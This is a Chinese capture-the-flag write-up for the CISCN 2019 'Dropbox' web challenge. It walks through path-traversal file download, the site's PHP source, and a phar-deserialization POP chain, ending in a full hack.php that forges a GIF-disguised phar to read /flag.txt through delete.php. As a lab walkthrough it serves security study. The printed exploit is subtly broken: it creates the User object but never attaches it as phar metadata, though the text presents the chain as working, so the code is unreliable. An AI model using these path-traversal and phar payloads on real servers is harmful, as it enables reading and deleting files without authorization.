CISCN2019华北赛区Day1Web1Dropbox

任意文件下载,phar反序列化

刚进去,发现有文件上传,测试了一下,发现基本给过滤了,应该是白名单机制,在download.php 抓包发现,存在filename参数

1.png

这里猜测可能存在任意文件读取,尝试着改成 ../../index.php 发现可以成功下载(这里因为文件上传的文件一般会在 /upload/sandbox ,于是用了 ../../ 来读 index.php 的内容。

然后依次顺腾摸瓜,读取 class.php delete.php upload.php download.php login.php register.php 的源代码

这里主要分析一下class.php delete.php upload.php download.php的代码 。

upload.php的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

只让上传jpg gif png 图片

download.php的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

对下载的文件名进行了限制,但是可以造成任意文件下载(这个前面已经验证过了)不允许下载带有flag的文件,基本上可以猜一下 flag文件在 ./flag 或者 ./flag.txt 中 。想办法读到这个就行了,但是又不能直接通过download.php来读。

delete.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

代码逻辑也比较简单,对文件名进行了简单的限制,然后执行delete()函数,基本和download差不多,也还是没找到利用的地方。

最后再来看看 class.php 文件的代码(代码很长,看重要的部分)

一个是User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function __destruct() {
$this->db->close();
}
}

Filelist类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}


}

最后看到file类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}

先从File类开始看起,我们知道 delete.php 和 upload.php 是利用了File类中的 close() delete() 函数来读取文件和删除文件的。我们要想读 ./flag.txt文件,最终的落脚点肯定是在这个函数上面,看到FileList类里面有 call 函数, 很自然的联系到能不能使用 反序列化, 可是 unseralize( ) 函数的影子都没看到,怎么利用?

这个时候就需要用到一个新的东西,phar协议和.phar文件,利用这个在没有unseralize()的情况下也可以进行反序列化

详细介绍可以参考:https://xz.aliyun.com/t/2715

上面那篇文章已经描述的挺清楚了。

现在想办法构造pop链

call 函数 是在一个类调用一个不存在的函数而触发的,我们如果让User类的$db 变量 等于FileList类,那么User类在析构的时候,$this->db->close() 就会变成 FileList -> close()从而触发call 函数

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

这里把Filelist的 files数组 进行遍历,每个变量都调用一下 func,如果我们这里让 FileList类的 files 数组 等于 File类数组,不就可以调用 close()函数了吗? 然后让File类的filename变量的值为 ./flag.txt 就可以读到flag了。

pop链就很清晰了:

User类的destruct -> FileList类 -> close() 触发 call 函数 ,然后 File类 调用close()函数 从而读到flag

我们构造的 hack.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class User{

public $db;
public function __construct()
{
$this->db=new FileList();
}
}

class FileList
{
private $files;
private $results;
private $funcs;

public function __construct()
{
$this->files=array(new File());
$this->results=array();
$this->funcs=array();

}
}

class File
{
public $filename='/flag.txt';
}
$user=new User();
$phar=new Phar("hack.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->addFromString("hack.txt","test");
$phar->stopBuffering();
?>

访问之后,本地生成 hack.phar文件,然后改成 hack.gif 上传

然后在用phar协议来读取,触发反序列化:

2.png

这里有个细节,我用的是delete.php执行的payload

download.php中有一行代码:

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

可以看出来 download.php对访问权限进行了限制,只能访问当前目录 以及 /etc 和 /tmp ,download.php在 /var/www/html下,所以当前目录是网站的根目录,即/var/www/html/,所以是只能访/var/www/html下的所有内容(包括子目录)。而我们要读取的/flag.txt 在系统的根目录,所以不能在download.php下读。